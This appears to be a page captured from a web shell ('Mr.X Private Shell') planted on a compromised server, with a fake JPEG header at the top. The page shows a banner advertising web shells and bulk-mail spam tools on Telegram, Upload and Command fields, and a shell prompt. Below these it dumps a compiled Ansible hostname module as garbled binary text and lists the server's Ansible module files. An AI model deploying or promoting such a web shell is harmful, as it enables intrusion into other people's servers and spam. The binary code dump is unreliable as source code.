����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
a

�)g{p�@sddlmZmZmZeZdZdZddlZddl	Z	ddl
Z
ddlZddlm
mmZddlmZmZmZddlmZddlmZddlmZmZdd	lmZmZdd
lm Z m!Z!ddd
ddddddddddd�
Z"Gdd�de#�Z$Gdd�de$�Z%Gdd�de$�Z&Gdd�de$�Z'Gdd�de'�Z(Gd d!�d!e$�Z)Gd"d#�d#e'�Z*Gd$d%�d%e$�Z+Gd&d'�d'e$�Z,Gd(d)�d)e'�Z-Gd*d+�d+e$�Z.Gd,d-�d-e$�Z/Gd.d/�d/e$�Z0Gd0d1�d1e#�Z1Gd2d3�d3e1�Z2Gd4d5�d5e1�Z3Gd6d7�d7e1�Z4Gd8d9�d9e1�Z5Gd:d;�d;e1�Z6Gd<d=�d=e1�Z7Gd>d?�d?e1�Z8Gd@dA�dAe1�Z9GdBdC�dCe1�Z:GdDdE�dEe1�Z;GdFdG�dGe1�Z<GdHdI�dIe1�Z=GdJdK�dKe1�Z>GdLdM�dMe1�Z?GdNdO�dOe1�Z@GdPdQ�dQe1�ZAGdRdS�dSe1�ZBGdTdU�dUe1�ZCGdVdW�dWe1�ZDGdXdY�dYe1�ZEGdZd[�d[e1�ZFGd\d]�d]e1�ZGGd^d_�d_e1�ZHGd`da�dae1�ZIGdbdc�dce1�ZJGddde�dee1�ZKGdfdg�dge1�ZLGdhdi�die1�ZMGdjdk�dke1�ZNGdldm�dme1�ZOGdndo�doe1�ZPGdpdq�dqe1�ZQGdrds�dse1�ZRGdtdu�due1�ZSGdvdw�dwe1�ZTdxdy�ZUeVdzk�r�eU�dS){�)�absolute_import�division�print_functiona�
---
module: hostname
author:
    - Adrian Likins (@alikins)
    - Hideki Saito (@saito-hideki)
version_added: "1.4"
short_description: Manage hostname
requirements: [ hostname ]
description:
    - Set system's hostname. Supports most OSs/Distributions including those using C(systemd).
    - Windows, HP-UX, and AIX are not currently supported.
notes:
    - This module does B(NOT) modify C(/etc/hosts). You need to modify it yourself using other modules such as M(ansible.builtin.template)
      or M(ansible.builtin.replace).
    - On macOS, this module uses C(scutil) to set C(HostName), C(ComputerName), and C(LocalHostName). Since C(LocalHostName)
      cannot contain spaces or most special characters, this module will replace characters when setting C(LocalHostName).
options:
    name:
        description:
            - Name of the host.
            - If the value is a fully qualified domain name that does not resolve from the given host,
              this will cause the module to hang for a few seconds while waiting for the name resolution attempt to timeout.
        type: str
        required: true
    use:
        description:
            - Which strategy to use to update the hostname.
            - If not set we try to autodetect, but this can be problematic, particularly with containers as they can present misleading information.
            - Note that 'systemd' should be specified for RHEL/EL/CentOS 7+. Older distributions should use 'redhat'.
        choices: ['alpine', 'debian', 'freebsd', 'generic', 'macos', 'macosx', 'darwin', 'openbsd', 'openrc', 'redhat', 'sles', 'solaris', 'systemd']
        type: str
        version_added: '2.9'
extends_documentation_fragment:
- action_common_attributes
- action_common_attributes.facts
attributes:
    check_mode:
        support: full
    diff_mode:
        support: full
    facts:
        support: full
    platform:
        platforms: posix
z�
- name: Set a hostname
  ansible.builtin.hostname:
    name: web01

- name: Set a hostname specifying strategy
  ansible.builtin.hostname:
    name: web01
    use: systemd
N)�
AnsibleModule�get_distribution�get_distribution_version)�get_platform_subclass)�ServiceMgrFactCollector)�get_file_lines�get_file_content)�	to_native�to_text)�PY3�	text_type�AlpineZSystemd�FreeBSDZBase�Darwin�OpenBSDZOpenRCZRedHatZSLESZSolaris)
ZalpineZdebianZfreebsdZgenericZmacosZmacosx�darwinZopenbsdZopenrcZredhatZslesZsolarisZsystemdc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�BaseStrategycCs||_d|_dS)NF)�module�changed��selfr�r�</usr/lib/python3.9/site-packages/ansible/modules/hostname.py�__init__iszBaseStrategy.__init__cCs|��|��|jS�N)�update_current_hostname�update_permanent_hostnamer�rrrr�%update_current_and_permanent_hostnamemsz2BaseStrategy.update_current_and_permanent_hostnamecCs8|jjd}|��}||kr4|jjs.|�|�d|_dS�N�nameT)r�params�get_current_hostname�
check_mode�set_current_hostnamer)rr#Zcurrent_namerrrrrs
z$BaseStrategy.update_current_hostnamecCs8|jjd}|��}||kr4|jjs.|�|�d|_dSr")rr$�get_permanent_hostnamer&�set_permanent_hostnamer)rr#Zpermanent_namerrrrzs
z&BaseStrategy.update_permanent_hostnamecCs|��Sr)r(r rrrr%�sz!BaseStrategy.get_current_hostnamecCsdSrr�rr#rrrr'�sz!BaseStrategy.set_current_hostnamecCst�dSr��NotImplementedErrorr rrrr(�sz#BaseStrategy.get_permanent_hostnamecCst�dSrr+r*rrrr)�sz#BaseStrategy.set_permanent_hostnameN)�__name__�
__module__�__qualname__rr!rrr%r'r(r)rrrrrhsrc@sLeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dS)�UnimplementedStrategycCs|��dSr��unimplemented_errorr rrrr!�sz;UnimplementedStrategy.update_current_and_permanent_hostnamecCs|��dSrr1r rrrr�sz-UnimplementedStrategy.update_current_hostnamecCs|��dSrr1r rrrr�sz/UnimplementedStrategy.update_permanent_hostnamecCs|��dSrr1r rrrr%�sz*UnimplementedStrategy.get_current_hostnamecCs|��dSrr1r*rrrr'�sz*UnimplementedStrategy.set_current_hostnamecCs|��dSrr1r rrrr(�sz,UnimplementedStrategy.get_permanent_hostnamecCs|��dSrr1r*rrrr)�sz,UnimplementedStrategy.set_permanent_hostnamecCs>t��}t�}|dur$d||f}n|}|jjd|d�dS)Nz%s (%s)z-hostname module cannot be used on platform %s��msg)�platform�systemrr�	fail_json)rr6�distributionZmsg_platformrrrr2�s�z)UnimplementedStrategy.unimplemented_errorN)r-r.r/r!rrr%r'r(r)r2rrrrr0�sr0cs@eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Z�Z	S)�CommandStrategy�hostnamecs&tt|��|�|j�|jd�|_dS�NT)�superr9rr�get_bin_path�COMMAND�hostname_cmdr��	__class__rrr�szCommandStrategy.__init__cCsF|jg}|j�|�\}}}|dkr:|jjd|||fd�t|���S�Nr�$Command failed rc=%d, out=%s, err=%sr3�r?r�run_commandr7r�strip�r�cmd�rc�out�errrrrr%�s
z$CommandStrategy.get_current_hostnamecCs@|j|g}|j�|�\}}}|dkr<|jjd|||fd�dSrB�r?rrEr7�rr#rHrIrJrKrrrr'�s
z$CommandStrategy.set_current_hostnamecCsdS)NZUNKNOWNrr rrrr(�sz&CommandStrategy.get_permanent_hostnamecCsdSrrr*rrrr)�sz&CommandStrategy.set_permanent_hostname)
r-r.r/r>rr%r'r(r)�
__classcell__rrr@rr9�sr9c@s eZdZdZdd�Zdd�ZdS)�FileStrategy�
/etc/hostnamec
Csjtj�|j�sdSzt|jddd�WStyd}z(|jjdt|�t	�
�d�WYd}~n
d}~00dS)N�T)�defaultrF�failed to read hostname: %s�r4�	exception)�os�path�isfile�FILEr�	Exceptionrr7r�	traceback�
format_exc)r�errrr(�s
�z#FileStrategy.get_permanent_hostnamec
Cs�z>t|jd��}|�d|�Wd�n1s20YWn@ty~}z(|jjdt|�t��d�WYd}~n
d}~00dS)N�w+z%s
�failed to update hostname: %srT)	�openrY�writerZrr7rr[r\)rr#�fr]rrrr)�s0
�z#FileStrategy.set_permanent_hostnameN)r-r.r/rYr(r)rrrrrO�srOc@seZdZdZdZdS)�SLESStrategyzW
    This is a SLES Hostname strategy class - it edits the
    /etc/HOSTNAME file.
    z
/etc/HOSTNAMEN�r-r.r/�__doc__rYrrrrrc�srcc@s$eZdZdZdZdd�Zdd�ZdS)�RedHatStrategyzb
    This is a Redhat Hostname strategy class - it edits the
    /etc/sysconfig/network file.
    z/etc/sysconfig/networkc
Cs�zXt|j�D]6}t|���}|�d�r|�d�\}}|��WSq|j�d|j�Wn@ty�}z(|jjdt|�t	�
�d�WYd}~n
d}~00dS)N�HOSTNAME�=z%Unable to locate HOSTNAME entry in %srSrT)r
�NETWORK_FILErrF�
startswith�splitrr7rZr[r\)r�line�k�vr]rrrr(�s
�
�z%RedHatStrategy.get_permanent_hostnamec
Cs�z�g}d}t|jdd�pd}|�d�D]8}t|�}|���d�rT|�d|�d}q&|�|�q&|sr|�d|�t|jd��}|�|�Wd�n1s�0YWn@t	y�}z(|j
jdt|�t�
�d	�WYd}~n
d}~00dS)
NF�rFrQTrgzHOSTNAME=%s
r^r_rT)rri�
splitlinesrrFrj�appendr`�
writelinesrZrr7r[r\)rr#�lines�foundZcontentrlrbr]rrrr)s&,
�z%RedHatStrategy.set_permanent_hostnameN)r-r.r/rerir(r)rrrrrf�srfcs(eZdZdZdZdZ�fdd�Z�ZS)�AlpineStrategyz�
    This is a Alpine Linux Hostname manipulation strategy class - it edits
    the /etc/hostname file then run hostname -F /etc/hostname.
    rPr:csbtt|��|�|j�|jd�}|d|jg}|j�|�\}}}|dkr^|jjd|||fd�dS)NTz-FrrCr3)	r<rur'rr=r>rYrEr7)rr#r?rHrIrJrKr@rrr' sz#AlpineStrategy.set_current_hostname)r-r.r/rerYr>r'rNrrr@rrusrucsLeZdZdZdZ�fdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
d�Z
�ZS)�SystemdStrategyzg
    This is a Systemd hostname manipulation strategy class - it uses
    the hostnamectl command.
    Zhostnamectlcs&tt|��|�|j�|jd�|_dSr;)r<rvrrr=r>�hostnamectl_cmdrr@rrr2szSystemdStrategy.__init__cCsJ|jddg}|j�|�\}}}|dkr>|jjd|||fd�t|���S)N�--transient�statusrrCr3�rwrrEr7rrFrGrrrr%6s
z$SystemdStrategy.get_current_hostnamecCs^t|�dkr|jjdd�|jdd|g}|j�|�\}}}|dkrZ|jjd|||fd�dS)N�@�Oname cannot be longer than 64 characters on systemd servers, try a shorter namer3rx�set-hostnamerrC��lenrr7rwrErMrrrr'=sz$SystemdStrategy.set_current_hostnamecCsJ|jddg}|j�|�\}}}|dkr>|jjd|||fd�t|���S)N�--staticryrrCr3rzrGrrrr(Es
z&SystemdStrategy.get_permanent_hostnamecCs`t|�dkr|jjdd�|jddd|g}|j�|�\}}}|dkr\|jjd|||fd�dS)	Nr{r|r3z--prettyr�r}rrCr~rMrrrr)Lsz&SystemdStrategy.set_permanent_hostnamecCs|��|��|jSr)rrrr rrrr!Tsz5SystemdStrategy.update_current_and_permanent_hostname)r-r.r/rer>rr%r'r(r)r!rNrrr@rrv*srvc@s$eZdZdZdZdd�Zdd�ZdS)�OpenRCStrategyzv
    This is a Gentoo (OpenRC) Hostname manipulation strategy class - it edits
    the /etc/conf.d/hostname file.
    z/etc/conf.d/hostnamec
Cs�tj�|j�sdSz>t|j�D].}|��}|�d�r|dd��d�WSqWn@ty�}z(|jj	dt
|�t��d�WYd}~n
d}~00dS�NrQ�	hostname=�
�"rSrT�
rVrWrXrYr
rFrjrZrr7rr[r\�rrlr]rrrr(ds

�z%OpenRCStrategy.get_permanent_hostnamec
Cs�z�dd�t|j�D�}t|�D]"\}}|�d�rd|||<qBqt|jd��$}|�d�|�d�Wd�n1sx0YWn@ty�}z(|jj	dt
|�t��d�WYd}~n
d}~00dS)	NcSsg|]}|���qSrro��.0�xrrr�
<listcomp>t�z9OpenRCStrategy.set_permanent_hostname.<locals>.<listcomp>r��
hostname="%s"�w�
r_rT)
r
rY�	enumeraterjr`ra�joinrZrr7rr[r\�rr#rs�irlrbr]rrrr)rs
6
�z%OpenRCStrategy.set_permanent_hostnameN)r-r.r/rerYr(r)rrrrr�\sr�c@seZdZdZdZdS)�OpenBSDStrategyzl
    This is a OpenBSD family Hostname manipulation strategy class - it edits
    the /etc/myname file.
    z/etc/mynameNrdrrrrr��sr�cs<eZdZdZdZ�fdd�Zdd�Zdd�Zd	d
�Z�Z	S)�SolarisStrategyzn
    This is a Solaris11 or later Hostname manipulation strategy class - it
    execute hostname command.
    r:cs&tt|��|�|j�|jd�|_dSr;)r<r�rrr=r>r?rr@rrr�szSolarisStrategy.__init__cCsFd}|j||g}|j�|�\}}}|dkrB|jjd|||fd�dS)Nz-trrCr3rL)rr#Z
cmd_optionrHrIrJrKrrrr'�s
z$SolarisStrategy.set_current_hostnamecCsVd}d}d||f}|jj|dd�\}}}|dkrJ|jjd|||fd�t|���S)	Nzsvc:/system/identity:nodezconfig/nodenamez+/usr/sbin/svccfg -s %s listprop -o value %sT)Zuse_unsafe_shellrrCr3)rrEr7rrF)rZfmri�patternrHrIrJrKrrrr(�sz&SolarisStrategy.get_permanent_hostnamecCs@|j|g}|j�|�\}}}|dkr<|jjd|||fd�dSrBrLrMrrrr)�s
z&SolarisStrategy.set_permanent_hostname)
r-r.r/rer>rr'r(r)rNrrr@rr��s	r�csHeZdZdZdZdZ�fdd�Zdd�Zdd	�Zd
d�Z	dd
�Z
�ZS)�FreeBSDStrategyzq
    This is a FreeBSD hostname manipulation strategy class - it edits
    the /etc/rc.conf.d/hostname file.
    z/etc/rc.conf.d/hostnamer:cs&tt|��|�|j�|jd�|_dSr;)r<r�rrr=r>r?rr@rrr�szFreeBSDStrategy.__init__cCsF|jg}|j�|�\}}}|dkr:|jjd|||fd�t|���SrBrDrGrrrr%�s
z$FreeBSDStrategy.get_current_hostnamecCs@|j|g}|j�|�\}}}|dkr<|jjd|||fd�dSrBrLrMrrrr'�s
z$FreeBSDStrategy.set_current_hostnamec
Cs�tj�|j�sdSz>t|j�D].}|��}|�d�r|dd��d�WSqWn@ty�}z(|jj	dt
|�t��d�WYd}~n
d}~00dSr�r�r�rrrr(�s

�z&FreeBSDStrategy.get_permanent_hostnamec
Cs�z�tj�|j�rRdd�t|j�D�}t|�D]"\}}|�d�r,d|||<q\q,n
d|g}t|jd��$}|�d�	|�d�Wd�n1s�0YWn@t
y�}z(|jjdt
|�t��d�WYd}~n
d}~00dS)	NcSsg|]}|���qSrror�rrrr��r�z:FreeBSDStrategy.set_permanent_hostname.<locals>.<listcomp>r�r�r�r�r_rT)rVrWrXrYr
r�rjr`rar�rZrr7rr[r\r�rrrr)�s

6
�z&FreeBSDStrategy.set_permanent_hostname)r-r.r/rerYr>rr%r'r(r)rNrrr@rr��sr�cs`eZdZdZ�fdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dd�Z
dd�Zdd�Z�Z
S)�DarwinStrategya>
    This is a macOS hostname manipulation strategy class. It uses
    /usr/sbin/scutil to set ComputerName, HostName, and LocalHostName.

    HostName corresponds to what most platforms consider to be hostname.
    It controls the name used on the command line and SSH.

    However, macOS also has LocalHostName and ComputerName settings.
    LocalHostName controls the Bonjour/ZeroConf name, used by services
    like AirDrop. This class implements a method, _scrub_hostname(), that mimics
    the transformations macOS makes on hostnames when enterened in the Sharing
    preference pane. It replaces spaces with dashes and removes all special
    characters.

    ComputerName is the name used for user-facing GUI services, like the
    System Preferences/Sharing pane and when users connect to the Mac over the network.
    cs>tt|��|�|j�dd�|_d|_|�|jjd�|_	dS)N�scutilT)�HostName�ComputerName�
LocalHostNamer#)
r<r�rrr=r��
name_types�_scrub_hostnamer$�
scrubbed_namerr@rrr�szDarwinStrategy.__init__cCsxtrt�|||�St|t�r&t|t�s.td��t|�t|�krFtd��ttdd�|D�|��}|D]}d|t	|�<qb|S)Nz8replace_chars and replacement_chars must both be stringsz:replacement_chars must be the same length as replace_charscss|]}t|�VqdSr)�ord)r��crrr�	<genexpr>r�z3DarwinStrategy._make_translation.<locals>.<genexpr>)
r�str�	maketrans�
isinstancer�
ValueErrorr�dict�zipr�)r�
replace_charsZreplacement_chars�delete_chars�table�charrrr�_make_translationsz DarwinStrategy._make_translationcCsTt|�}d}d}|�|dt|�|�}|�|�}d|vrF|�dd�}q0|�d�}|S)z�
        LocalHostName only accepts valid DNS characters while HostName and ComputerName
        accept a much wider range of characters. This function aims to mimic how macOS
        translates a friendly name to the LocalHostName.
        z'"~`!@#$%^&*(){}[]/=?+\|-_ z.'�-z--rQ)r
r�r�	translate�replace�rstrip)rr#r�r�r�rrrr�s

zDarwinStrategy._scrub_hostnamecCsR|jddg}|j�|�\}}}|dkrFd|vrF|jjd|||fd�t|���S)N�--getr�rzHostName: not setz4Failed to get current hostname rc=%d, out=%s, err=%sr3�r�rrEr7rrFrGrrrr%)s
z#DarwinStrategy.get_current_hostnamecCsJ|jddg}|j�|�\}}}|dkr>|jjd|||fd�t|���S)Nr�r�rz6Failed to get permanent hostname rc=%d, out=%s, err=%sr3r�rGrrrr(1s
z%DarwinStrategy.get_permanent_hostnamecCs�|jD]x}|jd|g}|dkr0|�t|j��n|�t|��|j�|�\}}}|dkr|jjd�t|�t|�t|�|�d�qdS)Nz--setr�rz#Failed to set {3} to '{2}': {0} {1}r3)	r�r�rqrr�rrEr7�format)rr#Z
hostname_typerHrIrJrKrrrr)9s
z%DarwinStrategy.set_permanent_hostnamecCsdSrrr*rrrr'Dsz#DarwinStrategy.set_current_hostnamecCsdSrrr rrrrGsz&DarwinStrategy.update_current_hostnamecsb�jjd�t�fdd��jD��}t��fdd��jD��}||kr^�jjsX����d�_dS)Nr#c3s*|]"}�j��jd|g�d��VqdS)r��N)rrEr�rF)r�Z	name_typer rrr�Nr�z;DarwinStrategy.update_permanent_hostname.<locals>.<genexpr>c3s |]}|dkr�jn�VqdS)r�N)r�)r��n�r#rrrr�Qr�T)rr$�tupler�r&r)r)rZ	all_namesZexpected_namesrr�rrJs
z(DarwinStrategy.update_permanent_hostname)r-r.r/rerr�r�r%r(r)r'rrrNrrr@rr��sr�cs\eZdZdZdZdZeZ�fdd�Zdd�Z	dd	�Z
d
d�Zdd
�Zdd�Z
dd�Z�ZS)�Hostnamez�
    This is a generic Hostname manipulation class that is subclassed
    based on platform.

    A subclass may wish to set different strategy instance to self.strategy.

    All subclasses MUST define platform and distribution (which may be None).
    �GenericNcstt�}t||��|�Sr)rr�r<�__new__)�cls�args�kwargsZnew_clsr@rrr�hszHostname.__new__cCsz||_|jd|_|jd|_|jdurHt�dt|j}||�|_n.t��dkrjt	�
|�rjt|�|_n|�|�|_dS)Nr#�usez
%sStrategy�Linux)
rr$r#r��globals�STRATS�strategyr5r6r	Zis_systemd_managedrv�strategy_class)rrZstratrrrrls
zHostname.__init__cCs
|j��Sr)r�r!r rrrr!zsz.Hostname.update_current_and_permanent_hostnamecCs
|j��Sr)r�r%r rrrr%}szHostname.get_current_hostnamecCs|j�|�dSr)r�r'r*rrrr'�szHostname.set_current_hostnamecCs
|j��Sr)r�r(r rrrr(�szHostname.get_permanent_hostnamecCs|j�|�dSr)r�r)r*rrrr)�szHostname.set_permanent_hostname)r-r.r/rer5r8r0r�r�rr!r%r'r(r)rNrrr@rr�Zs	r�c@sbeZdZdZdZz6e�Zer>dee�kr4dkr>nneZ	ne
��Wne
y\eZ	Yn0dS)�SLESHostnamer�ZSlesr��N)r-r.r/r5r8rZdistribution_version�floatrcr�r�r0rrrrr��s 
r�c@seZdZdZdZeZdS)�RHELHostnamer�ZRedhatN�r-r.r/r5r8rfr�rrrrr��sr�c@seZdZdZdZeZdS)�CentOSHostnamer�ZCentosNr�rrrrr��sr�c@seZdZdZdZeZdS)�AnolisOSHostnamer�ZAnolisNr�rrrrr��sr�c@seZdZdZdZeZdS)�CloudlinuxserverHostnamer�ZCloudlinuxserverNr�rrrrr��sr�c@seZdZdZdZeZdS)�CloudlinuxHostnamer�Z
CloudlinuxNr�rrrrr��sr�c@seZdZdZdZeZdS)�AlinuxHostnamer�ZAlinuxNr�rrrrr��sr�c@seZdZdZdZeZdS)�ScientificHostnamer�Z
ScientificNr�rrrrr��sr�c@seZdZdZdZeZdS)�OracleLinuxHostnamer�ZOracleNr�rrrrr��sr�c@seZdZdZdZeZdS)�VirtuozzoLinuxHostnamer�Z	VirtuozzoNr�rrrrr��sr�c@seZdZdZdZeZdS)�AmazonLinuxHostnamer�ZAmazonNr�rrrrr��sr�c@seZdZdZdZeZdS)�DebianHostnamer�ZDebianN�r-r.r/r5r8rOr�rrrrr��sr�c@seZdZdZdZeZdS)�
KylinHostnamer�ZKylinNr�rrrrr��sr�c@seZdZdZdZeZdS)�CumulusHostnamer�z
Cumulus-linuxNr�rrrrr��sr�c@seZdZdZdZeZdS)�KaliHostnamer�ZKaliNr�rrrrr��sr�c@seZdZdZdZeZdS)�ParrotHostnamer�ZParrotNr�rrrrr��sr�c@seZdZdZdZeZdS)�UbuntuHostnamer�ZUbuntuNr�rrrrr��sr�c@seZdZdZdZeZdS)�LinuxmintHostnamer�Z	LinuxmintNr�rrrrr��sr�c@seZdZdZdZeZdS)�LinaroHostnamer�ZLinaroNr�rrrrr��sr�c@seZdZdZdZeZdS)�DevuanHostnamer�ZDevuanNr�rrrrr�sr�c@seZdZdZdZeZdS)�RaspbianHostnamer�ZRaspbianNr�rrrrr�
sr�c@seZdZdZdZeZdS)�UosHostnamer�ZUosNr�rrrrr�sr�c@seZdZdZdZeZdS)�DeepinHostnamer�ZDeepinNr�rrrrr�sr�c@seZdZdZdZeZdS)�GentooHostnamer�ZGentooN)r-r.r/r5r8r�r�rrrrr�sr�c@seZdZdZdZeZdS)�ALTLinuxHostnamer�ZAltlinuxNr�rrrrr�"sr�c@seZdZdZdZeZdS)�AlpineLinuxHostnamer�rN)r-r.r/r5r8rur�rrrrr�(sr�c@seZdZdZdZeZdS)�OpenBSDHostnamerN)r-r.r/r5r8r�r�rrrrr�.sr�c@seZdZdZdZeZdS)�SolarisHostnameZSunOSN)r-r.r/r5r8r�r�rrrrr�4sr�c@seZdZdZdZeZdS)�FreeBSDHostnamerN�r-r.r/r5r8r�r�rrrrr�:sr�c@seZdZdZdZeZdS)�NetBSDHostnameZNetBSDNr�rrrrr�@sr�c@seZdZdZdZeZdS)�NeonHostnamer�ZNeonNr�rrrrr�Fsr�c@seZdZdZdZeZdS)�DarwinHostnamerN)r-r.r/r5r8r�r�rrrrr�Lsr�c@seZdZdZdZeZdS)�VoidLinuxHostnamer�ZVoidNr�rrrrr�Rsr�c@seZdZdZdZeZdS)�PopHostnamer�ZPopNr�rrrrr�Xsr�c@seZdZdZdZeZdS)�EurolinuxHostnamer�Z	EurolinuxNr�rrrrr�^sr�cCs�tttddd�tdtt���d�d�dd�}t|�}|jd}|��}|��}|�	�}||krd|}n||krr|}n|}t||t|�
d�d	|t��d�
t���
d�d
d��d�d�}|r�d
|dd
|dd�|d<|jfi|��dS)Nr�T)�type�required)r��choices)r#r�)Z
argument_specZsupports_check_moder#�.rr�)Zansible_hostnameZansible_nodenameZansible_fqdnZansible_domain)rr#Z
ansible_factszhostname = r�)Zafter�before�diff)rr��listr��keysr�r$r%r(r!rk�socketZgetfqdnr�Z	exit_json)rr:r#Zcurrent_hostnameZpermanent_hostnamerZname_before�kwrrr�mainds:
��
��

�
r��__main__)WZ
__future__rrrr�Z
__metaclass__Z
DOCUMENTATIONZEXAMPLESrVr5r�r[Z"ansible.module_utils.compat.typingZmodule_utils�compat�typing�tZansible.module_utils.basicrrrZ$ansible.module_utils.common.sys_inforZ-ansible.module_utils.facts.system.service_mgrr	Z ansible.module_utils.facts.utilsr
rZansible.module_utils._textrr
Zansible.module_utils.sixrrr��objectrr0r9rOrcrfrurvr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r-rrrr�<module>s�/�'!,2'	#<o0'


Filemanager

Name Type Size Permission Actions
__init__.cpython-39.opt-1.pyc File 151 B 0644
__init__.cpython-39.pyc File 151 B 0644
_include.cpython-39.opt-1.pyc File 3.1 KB 0644
_include.cpython-39.pyc File 3.1 KB 0644
add_host.cpython-39.opt-1.pyc File 3.82 KB 0644
add_host.cpython-39.pyc File 3.82 KB 0644
apt.cpython-39.opt-1.pyc File 35.28 KB 0644
apt.cpython-39.pyc File 35.28 KB 0644
apt_key.cpython-39.opt-1.pyc File 13.79 KB 0644
apt_key.cpython-39.pyc File 13.79 KB 0644
apt_repository.cpython-39.opt-1.pyc File 20.75 KB 0644
apt_repository.cpython-39.pyc File 20.75 KB 0644
assemble.cpython-39.opt-1.pyc File 6.86 KB 0644
assemble.cpython-39.pyc File 6.86 KB 0644
assert.cpython-39.opt-1.pyc File 2.76 KB 0644
assert.cpython-39.pyc File 2.76 KB 0644
async_status.cpython-39.opt-1.pyc File 3.76 KB 0644
async_status.cpython-39.pyc File 3.76 KB 0644
async_wrapper.cpython-39.opt-1.pyc File 7.03 KB 0644
async_wrapper.cpython-39.pyc File 7.03 KB 0644
blockinfile.cpython-39.opt-1.pyc File 10.78 KB 0644
blockinfile.cpython-39.pyc File 10.78 KB 0644
command.cpython-39.opt-1.pyc File 10.53 KB 0644
command.cpython-39.pyc File 10.53 KB 0644
copy.cpython-39.opt-1.pyc File 21.83 KB 0644
copy.cpython-39.pyc File 21.83 KB 0644
cron.cpython-39.opt-1.pyc File 19.02 KB 0644
cron.cpython-39.pyc File 19.02 KB 0644
debconf.cpython-39.opt-1.pyc File 6.57 KB 0644
debconf.cpython-39.pyc File 6.57 KB 0644
debug.cpython-39.opt-1.pyc File 2.9 KB 0644
debug.cpython-39.pyc File 2.9 KB 0644
dnf.cpython-39.opt-1.pyc File 33.89 KB 0644
dnf.cpython-39.pyc File 33.89 KB 0644
dpkg_selections.cpython-39.opt-1.pyc File 2.2 KB 0644
dpkg_selections.cpython-39.pyc File 2.2 KB 0644
expect.cpython-39.opt-1.pyc File 6.64 KB 0644
expect.cpython-39.pyc File 6.64 KB 0644
fail.cpython-39.opt-1.pyc File 1.68 KB 0644
fail.cpython-39.pyc File 1.68 KB 0644
fetch.cpython-39.opt-1.pyc File 4.09 KB 0644
fetch.cpython-39.pyc File 4.09 KB 0644
file.cpython-39.opt-1.pyc File 23.32 KB 0644
file.cpython-39.pyc File 23.32 KB 0644
find.cpython-39.opt-1.pyc File 14.63 KB 0644
find.cpython-39.pyc File 14.63 KB 0644
gather_facts.cpython-39.opt-1.pyc File 2.53 KB 0644
gather_facts.cpython-39.pyc File 2.53 KB 0644
get_url.cpython-39.opt-1.pyc File 20.14 KB 0644
get_url.cpython-39.pyc File 20.14 KB 0644
getent.cpython-39.opt-1.pyc File 4.92 KB 0644
getent.cpython-39.pyc File 4.92 KB 0644
git.cpython-39.opt-1.pyc File 36.37 KB 0644
git.cpython-39.pyc File 36.37 KB 0644
group.cpython-39.opt-1.pyc File 16.71 KB 0644
group.cpython-39.pyc File 16.71 KB 0644
group_by.cpython-39.opt-1.pyc File 2.41 KB 0644
group_by.cpython-39.pyc File 2.41 KB 0644
hostname.cpython-39.opt-1.pyc File 30.2 KB 0644
hostname.cpython-39.pyc File 30.2 KB 0644
import_playbook.cpython-39.opt-1.pyc File 2.1 KB 0644
import_playbook.cpython-39.pyc File 2.1 KB 0644
import_role.cpython-39.opt-1.pyc File 3.31 KB 0644
import_role.cpython-39.pyc File 3.31 KB 0644
import_tasks.cpython-39.opt-1.pyc File 2.18 KB 0644
import_tasks.cpython-39.pyc File 2.18 KB 0644
include_role.cpython-39.opt-1.pyc File 4.19 KB 0644
include_role.cpython-39.pyc File 4.19 KB 0644
include_tasks.cpython-39.opt-1.pyc File 2.68 KB 0644
include_tasks.cpython-39.pyc File 2.68 KB 0644
include_vars.cpython-39.opt-1.pyc File 6.53 KB 0644
include_vars.cpython-39.pyc File 6.53 KB 0644
iptables.cpython-39.opt-1.pyc File 27.12 KB 0644
iptables.cpython-39.pyc File 27.12 KB 0644
known_hosts.cpython-39.opt-1.pyc File 9.8 KB 0644
known_hosts.cpython-39.pyc File 9.8 KB 0644
lineinfile.cpython-39.opt-1.pyc File 16.15 KB 0644
lineinfile.cpython-39.pyc File 16.15 KB 0644
meta.cpython-39.opt-1.pyc File 5.85 KB 0644
meta.cpython-39.pyc File 5.85 KB 0644
package.cpython-39.opt-1.pyc File 3.37 KB 0644
package.cpython-39.pyc File 3.37 KB 0644
package_facts.cpython-39.opt-1.pyc File 16.11 KB 0644
package_facts.cpython-39.pyc File 16.11 KB 0644
pause.cpython-39.opt-1.pyc File 3.51 KB 0644
pause.cpython-39.pyc File 3.51 KB 0644
ping.cpython-39.opt-1.pyc File 2.3 KB 0644
ping.cpython-39.pyc File 2.3 KB 0644
pip.cpython-39.opt-1.pyc File 21.6 KB 0644
pip.cpython-39.pyc File 21.6 KB 0644
raw.cpython-39.opt-1.pyc File 3.55 KB 0644
raw.cpython-39.pyc File 3.55 KB 0644
reboot.cpython-39.opt-1.pyc File 4.66 KB 0644
reboot.cpython-39.pyc File 4.66 KB 0644
replace.cpython-39.opt-1.pyc File 9.8 KB 0644
replace.cpython-39.pyc File 9.8 KB 0644
rpm_key.cpython-39.opt-1.pyc File 7.15 KB 0644
rpm_key.cpython-39.pyc File 7.15 KB 0644
script.cpython-39.opt-1.pyc File 4.08 KB 0644
script.cpython-39.pyc File 4.08 KB 0644
service.cpython-39.opt-1.pyc File 36.32 KB 0644
service.cpython-39.pyc File 36.32 KB 0644
